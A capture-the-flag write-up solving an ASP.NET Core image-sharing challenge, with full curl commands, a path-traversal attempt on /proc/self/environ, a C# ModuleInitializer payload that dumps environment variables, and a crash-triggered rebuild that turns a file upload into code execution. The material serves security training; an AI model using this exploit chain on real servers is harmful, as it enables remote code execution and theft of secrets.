CTF-Writeups

ImgSharer

Name: ImgSharer
Author: Mārtiņš#2147483647 Description:

The newest hot image sharing platform “ImgSharer” allows users to upload and share images with ease. It has a habit of crashing occasionally (a patch has been applied, reducing downtime significantly), but nothing too serious. There’s a lot of ENVIRONMENTal effects going on behind the scenes and there could be a bunch of VARIABLEs affecting the way the server behaves.

Server available on :8080
IP(s): 10.240.3.204

The obvious hints are:

The challenge turns out to be an ASP.NET Core app with a full project directory exposed over HTTP, plus a build/restart loop that we can abuse to run arbitrary C# code and dump environment variables (including the flag).


1. Recon & initial enumeration

Target:

Basic scan:

nmap -sC -sV -p8080 10.240.3.204

Confirm HTTP:

curl -v http://10.240.3.204:8080/ | head

Response:

So / redirects to /5 and Kestrel suggests ASP.NET Core.

Open /5:

curl -v http://10.240.3.204:8080/5 | head -n 40

We see:

So the app is a simple image uploader with a route like /{amount:int?}.


2. Discovering /files – full project exposure

On the page we see:

<link rel="stylesheet" href="/files/wwwroot/css/site.css" />

That href="/files/... looks suspicious. Check /files/:

curl -v http://10.240.3.204:8080/files/ | head

We get a full directory listing (Index of /files):

So the entire project tree is exposed.


3. Looking at the source

Program.cs

curl -s http://10.240.3.204:8080/files/Program.cs

Key parts:

builder.Services.Configure<FormOptions>(options => {
    options.MultipartBodyLengthLimit = 2 * 1024 * 1024; // 2 MB
});

builder.Services.AddRazorPages();

var app = builder.Build();

app.UseStaticFiles(new StaticFileOptions() {
    FileProvider = new PhysicalFileProvider(Directory.GetCurrentDirectory()),
    RequestPath = "/files",
    ContentTypeProvider = new ContentProvider()
});

app.UseDirectoryBrowser(new DirectoryBrowserOptions {
    FileProvider = new PhysicalFileProvider(Directory.GetCurrentDirectory()),
    RequestPath = "/files"
});

app.UseStaticFiles();
app.MapRazorPages();
app.Run();

Important:

Crash patch script

curl -s http://10.240.3.204:8080/files/crash_patch.sh

Content:

trap 'kill 0' SIGINT SIGTERM
while true; do
    dotnet build ./ImgSharer.csproj -c $BUILD_CONFIGURATION -o /app/build > /dev/null ;
    dotnet run ./ImgSharer.csproj > /dev/null 2>&1 ;
done

So if the app crashes, this script:

  1. Rebuilds the project
  2. Restarts it

This becomes important later.

Development settings

appsettings.Development.json:

curl -s http://10.240.3.204:8080/files/appsettings.Development.json

Contains:

{
  "DetailedErrors": true,
  "Logging": { ... }
}

Properties/launchSettings.json:

curl -s http://10.240.3.204:8080/files/Properties/launchSettings.json

Has:

"environmentVariables": {
  "ASPNETCORE_ENVIRONMENT": "Development"
}

So:


4. Razor page analysis

Pages/Index.cshtml:

curl -s http://10.240.3.204:8080/files/Pages/Index.cshtml

Key bits:

@page "/{amount:int?}"
@model IndexModel

@{ SortedSet<int> showAmounts = new() { 5, 10, 20, 50 }; showAmounts.Add(Model.DisplayAmount); }

<select id="mySelect" onchange="onSelectChanged()">
  @foreach (var amount in showAmounts) { ... }
</select>

<script>
function onSelectChanged() {
    var value = document.getElementById("mySelect").value;
    if (value) {
        window.location.href = /${value};
    } else {
        window.location.href = /;
    }
}
</script>

And it lists images from ./uploads based on Model.DisplayAmount.

Pages/Index.cshtml.cs:

curl -s http://10.240.3.204:8080/files/Pages/Index.cshtml.cs

Key parts:

public int DisplayAmount { get; set; } = 20;
public string? InfoMessage = null;

public static bool HasThisManyImages(int amount, List<string> paths)
{
    List<string> newPaths = [];
    bool hasImages = true;

    if (amount == 0)
        return true;

    if (amount != 0)
    {
        if (paths.FirstOrDefault() == null)
            hasImages = false;

        newPaths = paths.Skip(1).ToList();
    }

    bool hasThisMany = HasThisManyImages(amount - 1, newPaths);
    return hasImages & hasThisMany;
}

public IActionResult OnGet(int? amount)
{
    if (amount == null)
        return RedirectToPage("Index", new { amount = 5 });

    if (!HasThisManyImages(amount.Value, Directory.GetFiles(Path.Combine(".", "uploads")).ToList()))
        InfoMessage = "Not enough images to display " + amount.Value + " images.";

    DisplayAmount = amount.Value;
    return Page();
}

Observations:

However, none of this code ever directly reads environment variables. So the flag is almost certainly not on disk, but only in an env var.


5. Failed easy paths

I tried the usual shortcuts first:

5.1. Look for flag strings on disk

Mirror /files and grep for the flag:

wget -r -np -nH http://10.240.3.204:8080/files/

cd files
grep -R "MCTF{" . 2>/dev/null
grep -R "MCTF" . 2>/dev/null
grep -R "FLAG" . 2>/dev/null

Result: no hits → the flag is not stored in any source, config, or DLL (as plain text).

5.2. /proc/self/environ via /files traversal

Tried:

curl -v http://10.240.3.204:8080/files/../proc/self/environ
curl -v http://10.240.3.204:8080/files/%2e%2e/proc/self/environ
curl -v http://10.240.3.204:8080/files/%252e%252e/proc/self/environ

All returned 404.

So static files are rooted to the project directory, and we can’t escape to /proc.

5.3. Oversized uploads

Because of the 2 MB limit:

options.MultipartBodyLengthLimit = 2 * 1024 * 1024;

I tried:

dd if=/dev/urandom of=big.bin bs=1M count=3   # ~3 MB

# Get antiforgery token & cookie
curl -s -c cookies.txt http://10.240.3.204:8080/5 -o page.html
TOKEN=$(grep '__RequestVerificationToken' page.html | sed -n 's/.*value="\([^"]*\)".*//p')

# Upload big file
curl -s -v -b cookies.txt   -F "UploadedFile=@big.bin;filename=big.png"   -F "__RequestVerificationToken=$TOKEN"   http://10.240.3.204:8080/5   -o big_err.html

Response:

So the big upload is handled gracefully with a 400, no dev exception page.

5.4. Huge / negative amount for dev exception page

Tried many /{amount} paths:

for i in 1000 5000 10000 20000 50000; do
  curl -s -o err_$i.html -w "HTTP %{http_code}
" http://10.240.3.204:8080/$i
done

All returned HTTP 200, no errors.

Then tried negative amounts:

curl -s -o err_minus1.html -w "HTTP %{http_code}
" http://10.240.3.204:8080/-1

Got HTTP 000 (connection reset) and no error page written to file: the process dies before any HTML is sent. crash_patch.sh immediately restarts the app.

So:


6. Real exploit: compile our own C# code to dump env vars

At this point it’s clear:

So the idea:

  1. Upload a C# file into ./uploads that contains a ModuleInitializer.
  2. When the project rebuilds, our .cs gets compiled into the assembly.
  3. The ModuleInitializer runs automatically when the assembly loads, and we can:
    • call Environment.GetEnvironmentVariables()
    • dump everything into ./uploads/env_dump.txt.
  4. Then we fetch /files/uploads/env_dump.txt and grep for MCTF.

6.1. Write the env dumper (envdump.cs)

Locally:

cd ~/imgsharer-dump

cat > envdump.cs << 'EOF'
using System;
using System.Collections;
using System.IO;
using System.Runtime.CompilerServices;

namespace ImgSharer
{
    public static class EnvDump
    {
        [ModuleInitializer]
        public static void Init()
        {
            try
            {
                var path = Path.Combine(".", "uploads", "env_dump.txt");
                Directory.CreateDirectory(Path.GetDirectoryName(path)!);

                var all = Environment.GetEnvironmentVariables();
                using var sw = new StreamWriter(path, false);
                foreach (DictionaryEntry de in all)
                {
                    sw.WriteLine($"{de.Key}={de.Value}");
                }
            }
            catch
            {
                // ignore errors to avoid breaking startup
            }
        }
    }
}
EOF

This does:

6.2. Upload the C# file via the existing form

Grab a fresh antiforgery token & cookie:

curl -s -c cookies2.txt http://10.240.3.204:8080/5 -o page2.html
TOKEN2=$(grep '__RequestVerificationToken' page2.html | sed -n 's/.*value="\([^"]*\)".*//p')
echo "$TOKEN2"

Upload envdump.cs as UploadedFile (the server only really cares about UploadedFile and saves it under ./uploads):

curl -s -v -b cookies2.txt   -F "UploadedFile=@envdump.cs;filename=envdump.cs"   -F "__RequestVerificationToken=$TOKEN2"   http://10.240.3.204:8080/5   -o upload_envdump.html

We now have a .cs file in the project tree (./uploads/<random>.cs).

6.3. Force a crash to trigger rebuild / restart

To get envdump.cs compiled, we need dotnet build to run again.

crash_patch.sh is looping:

while true; do
    dotnet build ./ImgSharer.csproj ...
    dotnet run ./ImgSharer.csproj ...
done

So we just need to cause a crash → build re-runs → our .cs is now part of the project.

Use the negative amount (infinite recursion):

for i in {1..3}; do
  echo "crash try $i"
  curl -s -o /dev/null -w "HTTP %{http_code}
" http://10.240.3.204:8080/-1
done

Each request should give HTTP 000 / connection reset → process dies → script rebuilds & restarts server. After at least one rebuild, our EnvDump class is compiled and ModuleInitializer runs on startup, writing ./uploads/env_dump.txt.

6.4. Fetch the env dump

Now list uploads:

curl -s http://10.240.3.204:8080/files/uploads/ -o uploads-index.html
grep -i "env_dump" uploads-index.html

If env_dump.txt is present, pull it:

curl -s http://10.240.3.204:8080/files/uploads/env_dump.txt | grep "MCTF"

Output looks like:

SOME_FLAG_ENV=MCTF25{wr0Ng_k1nD_oF_DI}

Flag:

MCTF25{wr0Ng_k1nD_oF_DI}